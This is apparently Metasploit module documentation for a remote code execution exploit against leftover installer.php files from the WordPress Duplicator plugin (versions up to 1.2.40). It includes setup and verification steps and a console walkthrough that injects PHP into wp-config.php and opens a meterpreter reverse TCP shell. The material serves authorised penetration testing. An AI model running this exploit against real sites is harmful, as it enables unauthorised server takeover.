72 lines
2.5 KiB
Markdown
72 lines
2.5 KiB
Markdown
|
Duplicator is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:
|
||
|
|
* An ZIP archive with the complete WordPress files and Duplicator specific files:
|
||
|
|
* A copy of the installer.php script: installer-backup.php
|
||
|
|
* A SQL script that will be used to restore the database content: database.sql
|
||
|
|
* An installer PHP script to restore the archive installer.php
|
||
|
|
|
||
|
|
When the installer.php completes its process, the following files remain in the directory and has to be manually deleted:
|
||
|
|
* The ZIP archive
|
||
|
|
* database.sql
|
||
|
|
* installer-backup.php
|
||
|
|
* installer-data.sql
|
||
|
|
* installer-log.txt
|
||
|
|
* installer.php
|
||
|
|
|
||
|
|
## Vulnerable application
|
||
|
|
|
||
|
|
Install a vulnerable version of WordPress Duplicator (<= 1.2.40) and create a backup.
|
||
|
|
Put the install.php and archive files on a clean web server.
|
||
|
|
|
||
|
|
## Verification Steps
|
||
|
|
|
||
|
|
|
||
|
|
Confirm that check functionality works:
|
||
|
|
- [ ] Open a browser to check the installer.php file is accessible
|
||
|
|
- [ ] Start `msfconsole`
|
||
|
|
- [ ] `use exploit/multi/php/wordpress_duplicator-`
|
||
|
|
- [ ] Set the `RHOST`.
|
||
|
|
- [ ] Confirm the target is vulnerable: `check`
|
||
|
|
- [ ] Confirm that the target is vulnerable: `The target is vulnerable.`
|
||
|
|
|
||
|
|
Confirm that command execution functionality works:
|
||
|
|
- [ ] Set a payload: `set PAYLOAD php/meterpreter/reverse_tcp`
|
||
|
|
- [ ] Set `LHOST` and `LPORT`
|
||
|
|
- [ ] Run the exploit: `run`
|
||
|
|
- [ ] Confirm you have now a meterpreter session
|
||
|
|
|
||
|
|
## Options
|
||
|
|
|
||
|
|
**TARGETURI**
|
||
|
|
|
||
|
|
The path to the installer.php file to exploit By default, the path is `/installer.php`.
|
||
|
|
|
||
|
|
|
||
|
|
## Scenarios
|
||
|
|
|
||
|
|
### Meterpreter reverse tcp
|
||
|
|
|
||
|
|
```
|
||
|
|
msf5 > use exploit/multi/php/wordpress_duplicator
|
||
|
|
msf5 exploit(multi/php/wordpress_duplicator) > set RHOSTS 192.168.56.101
|
||
|
|
RHOSTS => 192.168.56.101
|
||
|
|
msf5 exploit(multi/php/wordpress_duplicator) > set LHOST 192.168.56.1
|
||
|
|
LHOST => 192.168.56.1
|
||
|
|
msf5 exploit(multi/php/wordpress_duplicator) > set TARGETURI /installer_vuln.php
|
||
|
|
TARGETURI => /installer_vuln.php
|
||
|
|
msf5 exploit(multi/php/wordpress_duplicator) > run
|
||
|
|
|
||
|
|
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||
|
|
[*] Checking if the wp-config.php file already exists...
|
||
|
|
[*] This WordPress was not restored. Creating the wp-config.php file...
|
||
|
|
[*] Successfully created the wp-config.php file!
|
||
|
|
[*] All good! Injecting PHP code in the wp-config.php file...
|
||
|
|
[*] Requesting wp-config.php to execute the payload...
|
||
|
|
[*] Sending stage (37775 bytes) to 192.168.56.101
|
||
|
|
|
||
|
|
meterpreter > sysinfo
|
||
|
|
Computer : debian
|
||
|
|
OS : Linux debian 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64
|
||
|
|
Meterpreter : php/linux
|
||
|
|
```
|
||
|
|
|